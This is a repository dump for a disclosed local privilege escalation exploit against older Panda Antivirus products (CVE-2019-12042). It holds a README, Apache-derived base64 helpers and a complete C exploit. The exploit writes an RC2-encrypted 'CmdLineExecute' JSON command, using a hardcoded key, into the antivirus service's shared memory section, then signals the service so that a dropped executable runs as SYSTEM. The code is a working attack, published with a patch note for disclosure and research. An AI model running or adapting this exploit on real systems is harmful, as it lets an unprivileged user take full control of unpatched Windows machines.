├── poc.png ├── resource.h ├── bin └── exploit.exe ├── README.md ├── base64.h ├── base64.c └── exploit.c /poc.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/poc.png -------------------------------------------------------------------------------- /resource.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/resource.h -------------------------------------------------------------------------------- /bin/exploit.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SouhailHammou/Panda-Antivirus-LPE/HEAD/bin/exploit.exe -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Panda Antivirus - Local Privilege Escalation (CVE-2019-12042) 2 | This is the exploit for a vulnerability I found in Panda Antivirus leading to escalation of privileges to SYSTEM. 3 | 4 | The affected products are : Versions < 18.07.03 of Panda Dome, Panda Internet Security, Panda Antivirus Pro, Panda Global Protection, Panda Gold Protection, and old versions of Panda Antivirus >= 15.0.4. 5 | 6 | The issue has been fixed in version 18.07.03. 7 | 8 | A compiled x86 exploit can be found under the [bin](bin) directory, it executes as SYSTEM a dummy program that loops indefinitely. The compiled exploit is universal to all Windows versions and to all the products above. 9 | 10 | Link to advisory : https://www.pandasecurity.com/usa/support/card?id=100063 11 | 12 | ## Technical write-up 13 | https://rce4fun.blogspot.com/2019/05/panda-antivirus-local-privilege.html 14 | 15 | #### Poc image (Windows 10 x64) 16 | ![PoC](poc.png) 17 | -------------------------------------------------------------------------------- /base64.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2003 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved. 7 | * 8 | * This file contains Original Code and/or Modifications of Original Code 9 | * as defined in and that are subject to the Apple Public Source License 10 | * Version 2.0 (the 'License'). You may not use this file except in 11 | * compliance with the License. Please obtain a copy of the License at 12 | * http://www.opensource.apple.com/apsl/ and read it before using this 13 | * file. 14 | * 15 | * The Original Code and all software distributed under the License are 16 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 17 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 18 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 19 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 20 | * Please see the License for the specific language governing rights and 21 | * limitations under the License. 22 | * 23 | * @APPLE_LICENSE_HEADER_END@ 24 | */ 25 | /* ==================================================================== 26 | * Copyright (c) 1995-1999 The Apache Group. All rights reserved. 27 | * 28 | * Redistribution and use in source and binary forms, with or without 29 | * modification, are permitted provided that the following conditions 30 | * are met: 31 | * 32 | * 1. Redistributions of source code must retain the above copyright 33 | * notice, this list of conditions and the following disclaimer. 34 | * 35 | * 2. Redistributions in binary form must reproduce the above copyright 36 | * notice, this list of conditions and the following disclaimer in 37 | * the documentation and/or other materials provided with the 38 | * distribution. 39 | * 40 | * 3. All advertising materials mentioning features or use of this 41 | * software must display the following acknowledgment: 42 | * "This product includes software developed by the Apache Group 43 | * for use in the Apache HTTP server project (http://www.apache.org/)." 44 | * 45 | * 4. The names "Apache Server" and "Apache Group" must not be used to 46 | * endorse or promote products derived from this software without 47 | * prior written permission. For written permission, please contact 48 | * apache@apache.org. 49 | * 50 | * 5. Products derived from this software may not be called "Apache" 51 | * nor may "Apache" appear in their names without prior written 52 | * permission of the Apache Group. 53 | * 54 | * 6. Redistributions of any form whatsoever must retain the following 55 | * acknowledgment: 56 | * "This product includes software developed by the Apache Group 57 | * for use in the Apache HTTP server project (http://www.apache.org/)." 58 | * 59 | * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY 60 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 61 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 62 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR 63 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 64 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 65 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 66 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 67 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 68 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 69 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 70 | * OF THE POSSIBILITY OF SUCH DAMAGE. 71 | * ==================================================================== 72 | * 73 | * This software consists of voluntary contributions made by many 74 | * individuals on behalf of the Apache Group and was originally based 75 | * on public domain software written at the National Center for 76 | * Supercomputing Applications, University of Illinois, Urbana-Champaign. 77 | * For more information on the Apache Group and the Apache HTTP server 78 | * project, please see . 79 | * 80 | */ 81 | 82 | 83 | 84 | #ifndef _BASE64_H_ 85 | #define _BASE64_H_ 86 | 87 | #ifdef __cplusplus 88 | extern "C" { 89 | #endif 90 | 91 | int Base64encode_len(int len); 92 | int Base64encode(char * coded_dst, const char *plain_src, int len_plain_src); 93 | 94 | int Base64decode_len(const char * coded_src); 95 | int Base64decode(char * plain_dst, const char *coded_src); 96 | 97 | #ifdef __cplusplus 98 | } 99 | #endif 100 | 101 | #endif //_BASE64_H_ 102 | -------------------------------------------------------------------------------- /base64.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2003 Apple Computer, Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * Copyright (c) 1999-2003 Apple Computer, Inc. All Rights Reserved. 7 | * 8 | * This file contains Original Code and/or Modifications of Original Code 9 | * as defined in and that are subject to the Apple Public Source License 10 | * Version 2.0 (the 'License'). You may not use this file except in 11 | * compliance with the License. Please obtain a copy of the License at 12 | * http://www.opensource.apple.com/apsl/ and read it before using this 13 | * file. 14 | * 15 | * The Original Code and all software distributed under the License are 16 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 17 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 18 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 19 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 20 | * Please see the License for the specific language governing rights and 21 | * limitations under the License. 22 | * 23 | * @APPLE_LICENSE_HEADER_END@ 24 | */ 25 | /* ==================================================================== 26 | * Copyright (c) 1995-1999 The Apache Group. All rights reserved. 27 | * 28 | * Redistribution and use in source and binary forms, with or without 29 | * modification, are permitted provided that the following conditions 30 | * are met: 31 | * 32 | * 1. Redistributions of source code must retain the above copyright 33 | * notice, this list of conditions and the following disclaimer. 34 | * 35 | * 2. Redistributions in binary form must reproduce the above copyright 36 | * notice, this list of conditions and the following disclaimer in 37 | * the documentation and/or other materials provided with the 38 | * distribution. 39 | * 40 | * 3. All advertising materials mentioning features or use of this 41 | * software must display the following acknowledgment: 42 | * "This product includes software developed by the Apache Group 43 | * for use in the Apache HTTP server project (http://www.apache.org/)." 44 | * 45 | * 4. The names "Apache Server" and "Apache Group" must not be used to 46 | * endorse or promote products derived from this software without 47 | * prior written permission. For written permission, please contact 48 | * apache@apache.org. 49 | * 50 | * 5. Products derived from this software may not be called "Apache" 51 | * nor may "Apache" appear in their names without prior written 52 | * permission of the Apache Group. 53 | * 54 | * 6. Redistributions of any form whatsoever must retain the following 55 | * acknowledgment: 56 | * "This product includes software developed by the Apache Group 57 | * for use in the Apache HTTP server project (http://www.apache.org/)." 58 | * 59 | * THIS SOFTWARE IS PROVIDED BY THE APACHE GROUP ``AS IS'' AND ANY 60 | * EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 61 | * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 62 | * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE APACHE GROUP OR 63 | * ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 64 | * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 65 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 66 | * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) 67 | * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, 68 | * STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 69 | * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED 70 | * OF THE POSSIBILITY OF SUCH DAMAGE. 71 | * ==================================================================== 72 | * 73 | * This software consists of voluntary contributions made by many 74 | * individuals on behalf of the Apache Group and was originally based 75 | * on public domain software written at the National Center for 76 | * Supercomputing Applications, University of Illinois, Urbana-Champaign. 77 | * For more information on the Apache Group and the Apache HTTP server 78 | * project, please see . 79 | * 80 | */ 81 | 82 | /* Base64 encoder/decoder. Originally Apache file ap_base64.c 83 | */ 84 | 85 | #include 86 | 87 | #include "base64.h" 88 | 89 | /* aaaack but it's fast and const should make it shared text page. */ 90 | static const unsigned char pr2six[256] = 91 | { 92 | /* ASCII table */ 93 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 94 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 95 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 62, 64, 64, 64, 63, 96 | 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 64, 64, 64, 64, 64, 64, 97 | 64, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 98 | 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 64, 64, 64, 64, 64, 99 | 64, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 100 | 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 64, 64, 64, 64, 64, 101 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 102 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 103 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 104 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 105 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 106 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 107 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 108 | 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64, 64 109 | }; 110 | 111 | int Base64decode_len(const char *bufcoded) 112 | { 113 | int nbytesdecoded; 114 | register const unsigned char *bufin; 115 | register int nprbytes; 116 | 117 | bufin = (const unsigned char *)bufcoded; 118 | while (pr2six[*(bufin++)] <= 63); 119 | 120 | nprbytes = (bufin - (const unsigned char *)bufcoded) - 1; 121 | nbytesdecoded = ((nprbytes + 3) / 4) * 3; 122 | 123 | return nbytesdecoded + 1; 124 | } 125 | 126 | int Base64decode(char *bufplain, const char *bufcoded) 127 | { 128 | int nbytesdecoded; 129 | register const unsigned char *bufin; 130 | register unsigned char *bufout; 131 | register int nprbytes; 132 | 133 | bufin = (const unsigned char *)bufcoded; 134 | while (pr2six[*(bufin++)] <= 63); 135 | nprbytes = (bufin - (const unsigned char *)bufcoded) - 1; 136 | nbytesdecoded = ((nprbytes + 3) / 4) * 3; 137 | 138 | bufout = (unsigned char *)bufplain; 139 | bufin = (const unsigned char *)bufcoded; 140 | 141 | while (nprbytes > 4) { 142 | *(bufout++) = 143 | (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); 144 | *(bufout++) = 145 | (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); 146 | *(bufout++) = 147 | (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); 148 | bufin += 4; 149 | nprbytes -= 4; 150 | } 151 | 152 | /* Note: (nprbytes == 1) would be an error, so just ingore that case */ 153 | if (nprbytes > 1) { 154 | *(bufout++) = 155 | (unsigned char)(pr2six[*bufin] << 2 | pr2six[bufin[1]] >> 4); 156 | } 157 | if (nprbytes > 2) { 158 | *(bufout++) = 159 | (unsigned char)(pr2six[bufin[1]] << 4 | pr2six[bufin[2]] >> 2); 160 | } 161 | if (nprbytes > 3) { 162 | *(bufout++) = 163 | (unsigned char)(pr2six[bufin[2]] << 6 | pr2six[bufin[3]]); 164 | } 165 | 166 | *(bufout++) = '\0'; 167 | nbytesdecoded -= (4 - nprbytes) & 3; 168 | return nbytesdecoded; 169 | } 170 | 171 | static const char basis_64[] = 172 | "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; 173 | 174 | int Base64encode_len(int len) 175 | { 176 | return ((len + 2) / 3 * 4) + 1; 177 | } 178 | 179 | int Base64encode(char *encoded, const char *string, int len) 180 | { 181 | int i; 182 | char *p; 183 | 184 | p = encoded; 185 | for (i = 0; i < len - 2; i += 3) { 186 | *p++ = basis_64[(string[i] >> 2) & 0x3F]; 187 | *p++ = basis_64[((string[i] & 0x3) << 4) | 188 | ((int)(string[i + 1] & 0xF0) >> 4)]; 189 | *p++ = basis_64[((string[i + 1] & 0xF) << 2) | 190 | ((int)(string[i + 2] & 0xC0) >> 6)]; 191 | *p++ = basis_64[string[i + 2] & 0x3F]; 192 | } 193 | if (i < len) { 194 | *p++ = basis_64[(string[i] >> 2) & 0x3F]; 195 | if (i == (len - 1)) { 196 | *p++ = basis_64[((string[i] & 0x3) << 4)]; 197 | *p++ = '='; 198 | } 199 | else { 200 | *p++ = basis_64[((string[i] & 0x3) << 4) | 201 | ((int)(string[i + 1] & 0xF0) >> 4)]; 202 | *p++ = basis_64[((string[i + 1] & 0xF) << 2)]; 203 | } 204 | *p++ = '='; 205 | } 206 | 207 | *p++ = '\0'; 208 | return p - encoded; 209 | } 210 | -------------------------------------------------------------------------------- /exploit.c: -------------------------------------------------------------------------------- 1 | // Souhail HAMMOU - 2019 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include "base64.h" 7 | #include "resource.h" 8 | 9 | 10 | #define STEPS 11 | #define DBG 12 | #define SECTION_SIZE 0x2414 13 | 14 | typedef struct _KEYBLOB 15 | { 16 | BLOBHEADER header; 17 | DWORD KeyLength; 18 | CHAR key[16]; 19 | } KEYBLOB; 20 | 21 | /* 22 | Here is an example of the events that we queue to the service 23 | { 24 | "CmdLineExecute": //Name of the event, this specific event is dispatched by Plugin_Commands.DLL 25 | { 26 | "ExeName": "cmd.exe", //Target executable name 27 | "Parameters": "/c start C:\\Users\\VM\\Desktop\\run_me_as_system.exe", //Parameters to CMD.EXE 28 | "SourcePath": "file://C:\\Windows\\System32", //The directory where "ExeName" resides 29 | "ExeMD5": "fef8118edf7918d3c795d6ef03800519" //MD5 hash of CMD.EXE 30 | } 31 | } 32 | */ 33 | 34 | CHAR* CommandFormat = "{\"CmdLineExecute\":{\"ExeName\":\"%s\",\"Parameters\":\"/c start %s\",\"SourcePath\":\"file://%s\",\"ExeMD5\":\"%s\"}}"; 35 | CHAR* rc2key = "3sa342ZvSfB68aEq"; 36 | 37 | VOID EscapePathForJSON(CHAR* Dest, CHAR* FilePath) 38 | { 39 | UINT i, j, prev; 40 | 41 | //Detect if backslashes in FilePath are already escaped based on the first backslash in the path 42 | for (i = 0, prev = -1; i < strlen(FilePath); i++) 43 | { 44 | if (FilePath[i] == '\\') 45 | { 46 | if (prev == -1) 47 | prev = i; 48 | else if (prev + 1 == i) 49 | { 50 | //It is already escaped, bail out ! 51 | return; 52 | } 53 | } 54 | } 55 | 56 | //Espace the backslashes in the path 57 | for (i = 0, j = 0; i < strlen(FilePath); i++) 58 | { 59 | CHAR c = FilePath[i]; 60 | Dest[j++] = c; 61 | if (c == '\\') 62 | { 63 | Dest[j++] = c; 64 | } 65 | } 66 | } 67 | 68 | VOID ConvertBHashToString(UINT Hashlen, CHAR *Dest, BYTE* Hash) 69 | { 70 | /* 71 | Converts a hash from its binary form to a string. 72 | */ 73 | UINT hash_i; 74 | UINT dest_i; 75 | UINT8 v5; 76 | UINT8 v6; 77 | UINT8 v7; 78 | CHAR v8; 79 | CHAR v9; 80 | 81 | hash_i = 0; 82 | dest_i = 0; 83 | if (Hashlen) 84 | { 85 | do 86 | { 87 | v5 = Hash[hash_i]; 88 | v6 = v5 >> 4; 89 | v7 = v5 % 16; 90 | if (v6 <= 9u) 91 | v8 = v6 + 0x30; 92 | else 93 | v8 = v6 + 0x57; 94 | if (v7 <= 9) 95 | v9 = v7 + 0x30; 96 | else 97 | v9 = v7 + 0x57; 98 | Dest[dest_i] = v8; 99 | Dest[dest_i + 1] = v9; 100 | ++hash_i; 101 | dest_i += 2; 102 | } while (hash_i < Hashlen); 103 | Dest[dest_i] = 0; 104 | } 105 | else 106 | { 107 | *Dest = 0; 108 | } 109 | } 110 | 111 | CHAR* GetFileMd5(CHAR* filepath) 112 | { 113 | /* 114 | Calculates the MD5 hash of a given file 115 | */ 116 | HANDLE hFile; 117 | HCRYPTPROV hProv = 0; 118 | HCRYPTHASH hHash = 0; 119 | DWORD nRead; 120 | BYTE bHash[64] = { 0 }; 121 | DWORD bHashSz = 64; 122 | BYTE* buffer = NULL; 123 | CHAR* Hash = NULL; 124 | 125 | hFile = CreateFileA(filepath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); 126 | if (hFile == INVALID_HANDLE_VALUE) 127 | { 128 | #ifdef DBG 129 | printf("GetFileMd5 : CreateFileA failed %x !\n", GetLastError()); 130 | #endif 131 | return NULL; 132 | } 133 | 134 | if (!CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, 0)) 135 | { 136 | if (GetLastError() != NTE_BAD_KEYSET || !CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_NEWKEYSET)) 137 | { 138 | #ifdef DBG 139 | printf("GetFileMd5 : CryptAcquireContext failed %x !\n", GetLastError()); 140 | #endif 141 | return NULL; 142 | } 143 | } 144 | 145 | if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) 146 | { 147 | #ifdef DBG 148 | printf("GetFileMd5 : CryptCreateHash failed %x !\n", GetLastError()); 149 | #endif 150 | return NULL; 151 | } 152 | 153 | buffer = (UCHAR*)HeapAlloc(GetProcessHeap(), 0, 0x1000); 154 | 155 | 156 | while (TRUE) 157 | { 158 | if (!ReadFile(hFile, buffer, 0x1000, &nRead, NULL)) 159 | { 160 | #ifdef DBG 161 | printf("GetFileMd5 : ReadFile failed %x !", GetLastError()); 162 | #endif 163 | return NULL; 164 | } 165 | 166 | if (!nRead) 167 | { 168 | //EOF 169 | if (!CryptGetHashParam(hHash, HP_HASHVAL, bHash, &bHashSz, 0)) 170 | { 171 | #ifdef DBG 172 | printf("GetFileMd5 : CryptGetHashParam failed %x!\n", GetLastError()); 173 | #endif 174 | return NULL; 175 | } 176 | break; 177 | } 178 | else 179 | { 180 | if (!CryptHashData(hHash, (const BYTE*)buffer, nRead, 0)) 181 | { 182 | #ifdef DBG 183 | printf("GetFileMd5 : CryptHashData failed %x !\n", GetLastError()); 184 | #endif 185 | return NULL; 186 | } 187 | } 188 | } 189 | 190 | /*Got the hash, now let's convert it into a string*/ 191 | Hash = (CHAR*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 64); 192 | 193 | ConvertBHashToString(bHashSz, Hash, bHash); 194 | 195 | /*We're done, return the hash*/ 196 | return Hash; 197 | } 198 | 199 | WCHAR* EncryptEncodeCommand(CHAR* command) 200 | { 201 | /* 202 | The service expects the JSON event message to be encrypted using RC2 and then base64 encoded. 203 | This function returns the unicode base64 string of the encrypted message. 204 | */ 205 | HCRYPTPROV hProv; 206 | HCRYPTKEY hKey; 207 | KEYBLOB blob; 208 | DWORD EncryptedLen; 209 | CHAR* Encrypted = NULL; 210 | CHAR* B64Encoded = NULL; 211 | WCHAR* uB64Encoded = NULL; 212 | 213 | /*Setup the keyblob*/ 214 | blob.header.aiKeyAlg = 0x6602; //RC2 215 | blob.header.bType = 0x8; 216 | blob.header.bVersion = 2; 217 | blob.header.reserved = 0; 218 | blob.KeyLength = strlen(rc2key); 219 | memcpy(blob.key, rc2key, strlen(rc2key)); 220 | 221 | if (!CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, 0)) 222 | { 223 | if (GetLastError() != NTE_BAD_KEYSET || !CryptAcquireContext(&hProv, 0, 0, PROV_RSA_FULL, CRYPT_NEWKEYSET)) 224 | { 225 | #ifdef DBG 226 | printf("EncryptString : CryptAcquireContext failed %x !\n", GetLastError()); 227 | #endif 228 | return NULL; 229 | } 230 | } 231 | 232 | if (!CryptImportKey(hProv, (const BYTE*)&blob, sizeof(KEYBLOB), 0, CRYPT_IPSEC_HMAC_KEY, &hKey)) 233 | { 234 | #ifdef DBG 235 | printf("EncryptString : CryptImportKey failed %x !\n", GetLastError()); 236 | #endif 237 | return NULL; 238 | } 239 | 240 | //Let's encrypt the message 241 | EncryptedLen = strlen(command); 242 | Encrypted = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE); 243 | 244 | strcpy(Encrypted, command); 245 | 246 | if (!CryptEncrypt(hKey, 0, TRUE, 0, (BYTE*)Encrypted, &EncryptedLen, SECTION_SIZE)) 247 | { 248 | #ifdef DBG 249 | printf("EncryptString : CryptEncrypt failed %x !\n", GetLastError()); 250 | #endif 251 | return NULL; 252 | } 253 | 254 | //Base64 encode the encrypted command 255 | B64Encoded = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE); 256 | Base64encode(B64Encoded, Encrypted, EncryptedLen); 257 | 258 | //Convert the Base64 to unicode since it should be written as such in the shared section 259 | uB64Encoded = (WCHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE); 260 | mbstowcs(uB64Encoded, B64Encoded, SECTION_SIZE / 2); 261 | 262 | 263 | return uB64Encoded; 264 | } 265 | 266 | void GenRandomExeName(CHAR* Filename, int n) 267 | { 268 | /* 269 | Generate a random executable name 270 | */ 271 | char* charset = "abcdefghijklmnopqrstuvwxyz"; 272 | LARGE_INTEGER cnt; 273 | srand(time(NULL)); 274 | for (int i = 0; i < n; i++) 275 | { 276 | Filename[i] = charset[rand() % strlen(charset)]; 277 | } 278 | Filename[n] = '\0'; 279 | strcat(Filename, ".exe"); 280 | } 281 | 282 | VOID main(int argc, char** argv) 283 | { 284 | HRSRC hRsrc; 285 | LPVOID PE; 286 | HANDLE hFile; 287 | DWORD Nbwritten, PathLength; 288 | CHAR* Filename[32]; 289 | CHAR* ExeName = "cmd.exe"; 290 | CHAR* TargetFilePath; 291 | CHAR* EscapedTargetFilePath; 292 | CHAR* SystemPath; 293 | CHAR* CmdPath; 294 | CHAR* FilePath; 295 | HANDLE hEvent; 296 | HANDLE hMapping; 297 | BYTE* View; 298 | CHAR* FileHash; 299 | CHAR* EscapedCmdPath; 300 | CHAR* Command; 301 | WCHAR* EncryptedCommand; 302 | 303 | //Extract our executable 304 | hRsrc = FindResourceA(NULL, MAKEINTRESOURCE(IDR_TARGET_FILE1), "TARGET_FILE"); 305 | if (! hRsrc ) 306 | { 307 | #ifdef DBG 308 | printf("FindResourceA failed %x !", GetLastError()); 309 | #endif 310 | return; 311 | } 312 | 313 | PE = LoadResource(NULL, hRsrc); 314 | if (!PE) 315 | { 316 | #ifdef DBG 317 | printf("LoadResource failed %x !", GetLastError()); 318 | #endif 319 | return; 320 | } 321 | 322 | //Generate random filename 323 | GenRandomExeName(Filename, 5); 324 | 325 | #ifdef STEPS 326 | printf("[+] Dropping the executable to disk\n"); 327 | #endif 328 | //Create a new file in the current directory 329 | hFile = CreateFile(Filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 330 | if (hFile == INVALID_HANDLE_VALUE) 331 | { 332 | #ifdef DBG 333 | printf("CreateFile failed %x !", GetLastError()); 334 | #endif 335 | return; 336 | } 337 | 338 | //Write the PE file to disk 339 | if (!WriteFile(hFile, PE, SizeofResource(NULL, hRsrc), &Nbwritten, NULL)) 340 | { 341 | #ifdef DBG 342 | printf("WriteFile failed %x !", GetLastError()); 343 | #endif 344 | return; 345 | } 346 | 347 | CloseHandle(hFile); 348 | 349 | PathLength = GetFullPathName(Filename, 0, 0, 0); 350 | TargetFilePath = HeapAlloc(GetProcessHeap(), 0, PathLength); 351 | GetFullPathName(Filename, PathLength, TargetFilePath, NULL); 352 | 353 | #ifdef STEPS 354 | printf("[+] Opening a handle to the event PandaDevicesAgentSharedMemoryChange\n"); 355 | #endif 356 | 357 | if (!(hEvent = OpenEventA(EVENT_ALL_ACCESS, FALSE, "Global\\PandaDevicesAgentSharedMemoryChange"))) 358 | { 359 | #ifdef DBG 360 | printf("OpenEventA failed %x !\n", GetLastError()); 361 | #endif 362 | return; 363 | } 364 | 365 | #ifdef STEPS 366 | printf("[+] Mapping a view of the section PandaDevicesAgentSharedMemory into the address space\n"); 367 | #endif 368 | 369 | if (!(hMapping = OpenFileMappingA(FILE_MAP_WRITE | FILE_MAP_READ, FALSE, "Global\\PandaDevicesAgentSharedMemory"))) 370 | { 371 | #ifdef DBG 372 | printf("OpenFileMappingA failed %x !", GetLastError()); 373 | #endif 374 | return; 375 | } 376 | 377 | //Map a view of the section 378 | View = (BYTE*)MapViewOfFile(hMapping, FILE_MAP_READ | FILE_MAP_WRITE, 0, 0, SECTION_SIZE); 379 | if (!View) 380 | { 381 | #ifdef DBG 382 | printf("MapViewOfFile failed %x !", GetLastError()); 383 | #endif 384 | return; 385 | } 386 | 387 | #ifdef STEPS 388 | printf("[+] Constructing the JSON message\n"); 389 | #endif 390 | //Get path to cmd.exe 391 | PathLength = GetSystemDirectory(0, 0); 392 | SystemPath = HeapAlloc(GetProcessHeap(), 0, PathLength); 393 | GetSystemDirectory(SystemPath, PathLength); 394 | 395 | //setup the full path to cmd.exe for MD5 hashing 396 | CmdPath = HeapAlloc(GetProcessHeap(), 0, strlen(SystemPath) + strlen(ExeName) + 2); 397 | strcpy(CmdPath, SystemPath); 398 | strcat(CmdPath, "\\"); 399 | strcat(CmdPath, ExeName); 400 | 401 | //Get the MD5 hash of cmd.exe 402 | FileHash = GetFileMd5(CmdPath); 403 | if (!FileHash) 404 | { 405 | #ifdef DBG 406 | printf("Failed to calculate the MD5 hash !\n"); 407 | #endif 408 | return; 409 | } 410 | 411 | /* 412 | Setup the JSON command 413 | */ 414 | 415 | //Escape backslashes in the full path to cmd.exe 416 | EscapedCmdPath = (CHAR*)HeapAlloc(GetProcessHeap(), 0, strlen(CmdPath) * 2); 417 | EscapePathForJSON(EscapedCmdPath, SystemPath); 418 | 419 | 420 | //Escape backslashes in the full path to our executable 421 | EscapedTargetFilePath = (CHAR*)HeapAlloc(GetProcessHeap(), 0, strlen(TargetFilePath) * 2); 422 | EscapePathForJSON(EscapedTargetFilePath, TargetFilePath); 423 | 424 | 425 | //Generate the final JSON 426 | Command = (CHAR*)HeapAlloc(GetProcessHeap(), 0, SECTION_SIZE); 427 | sprintf(Command, CommandFormat, ExeName, EscapedTargetFilePath, EscapedCmdPath, FileHash); 428 | 429 | #ifdef STEPS 430 | printf("[+] Encrypting and encoding the message\n"); 431 | #endif 432 | EncryptedCommand = EncryptEncodeCommand(Command); 433 | if (!EncryptedCommand) 434 | { 435 | #ifdef DBG 436 | printf("Failed to encrypt or base64 encode the command\n !"); 437 | return; 438 | #endif 439 | } 440 | 441 | #ifdef STEPS 442 | printf("[+] Writing the encrypted message to the section\n"); 443 | #endif 444 | 445 | //Write the encrypted JSON to the section 446 | memcpy(View + 2, EncryptedCommand, lstrlenW(EncryptedCommand) * 2); 447 | 448 | #ifdef STEPS 449 | printf("[+] Signaling the event to queue the CmdLineExecute event\n"); 450 | #endif 451 | 452 | //Set the event to wake up the waiting thread in AgentSvc.exe 453 | SetEvent(hEvent); 454 | 455 | #ifdef STEPS 456 | printf("[+] SYSTEM process created !\n"); 457 | getchar(); 458 | #endif 459 | } --------------------------------------------------------------------------------